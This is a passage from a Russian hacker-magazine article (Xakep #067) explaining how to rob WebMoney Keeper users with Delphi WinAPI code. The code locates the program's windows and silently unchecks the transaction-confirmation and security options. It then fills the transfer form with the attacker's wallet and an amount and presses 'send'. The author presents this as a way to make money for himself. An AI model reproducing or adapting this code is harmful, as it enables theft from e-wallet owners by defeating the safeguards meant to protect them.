Ломка WebMoney Crack (crack@rsteam.ru) Xakep, номер #067, стр. 067-042-3 ButtonWnd[5] - это указатель на кнопку "Меню". С помощью функции getwindowrect я узнаю координаты этой кнопки. Так как само выпадающее меню размещено немного выше кнопки, я отнимаю от полученной координаты "y" сорок px, по новым координатам получаю дескриптор самого меню. После этого я могу запросто получить указатель окна с параметрами программы, для чего опять воспользуюсь функцией API findwindow. Теперь необходимо выключить соответствующие галочки на вкладке "Общие": "Сигнализировать о событиях", "Подтверждать операции", "Показывать информацию о получателе перед переводом WebMoney"; на вкладке "Безопасность": "Подтверждение выполнения операций". Также на вкладке "Общие" необходимо поставить галочку напротив "Закрывать окна после выполнения операций". Для этого я воспользуюсь сообщением bm_setcheck, у которого два параметра. Первый - в зависимости от того, нужно ли включить или выключить галочку, он равен нулю или единице, второй - ноль. Для получения нужных нам хэндлов я опять прогнал цикл for на получение первых 40 дочерних окон. Вот так это реализуется: Выключаю ненужные опции OptionWnd := FindWindow(nil, 'Параметры программы'); CheckBox[1]:=GetWindow(OptionWnd, gw_Child); for i:=2 to 40 do CheckBox[i]:=GetWindow(CheckBox[i-1], gw_HWNDNext); temp:=SendMessage(CheckBox[6], bm_GetCheck, 0, 0); if temp >< 0 then SendMessage(CheckBox[6], bm_SetCheck, 0, 0); temp:=SendMessage(CheckBox[7], bm_GetCheck, 0, 0); if temp >< 0 then SendMessage(CheckBox[7], bm_SetCheck, 0, 0); ...и так далее остальных нужных галочек Где OptionWnd - это указатель окна параметров программы, а CheckBox - массив хэндлов нужных нам галочек. Теперь смело жму кнопку "ОК", для этого засылаю два сообщения: sendmessage(handle, wm_lbuttondown, mk_lbutton, 0); sendmessage(handle, wm_lbuttonup, mk_lbutton, 0); где handle - это хэндл кнопки "ОК". Теперь осталось только отправить деньги на нужный кошелек. Захожу в меню: "Кошельки", "Передать WM", "В кошелек WebMoney". Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять не усложнял себе жизнь и прогнал цикл for для получения нужных мне дочерних окон. Потом в поле "Сумма" помещаю нужную цифру, а в поле "Кошелек" ввожу свой кошелек, для этого использую сообщение wm_settext, у которого два параметра: первый - ноль, второй - переменная, откуда я беру нужный текст. Ввожу сумму и кошелек SendMessage(kosh_handle,WM_SETTEXT,0, LParam(PCHAR('Z066667778888'))); //Вводим наш кошелек SendMessage(Money, wm_Char,WParam(PCHAR('5')),0); SendMessage(Money, wm_Char,WParam(PCHAR('0')),0); //сообщение WM_SETTEXT для поля "Сумма" не работает! kosh_handle - хэндл поля ввода номера кошелька, money - указатель на поле с суммой платежа. После всего этого остается только нажать на кнопку "Передать" - это делается по аналогии с кнопкой "ОК", способ для которой приведен выше. Если все сделано правильно, то нужная сумма денег вскоре упадет в мой кошелечек, а мне останется только пойти радоваться с друзьями. |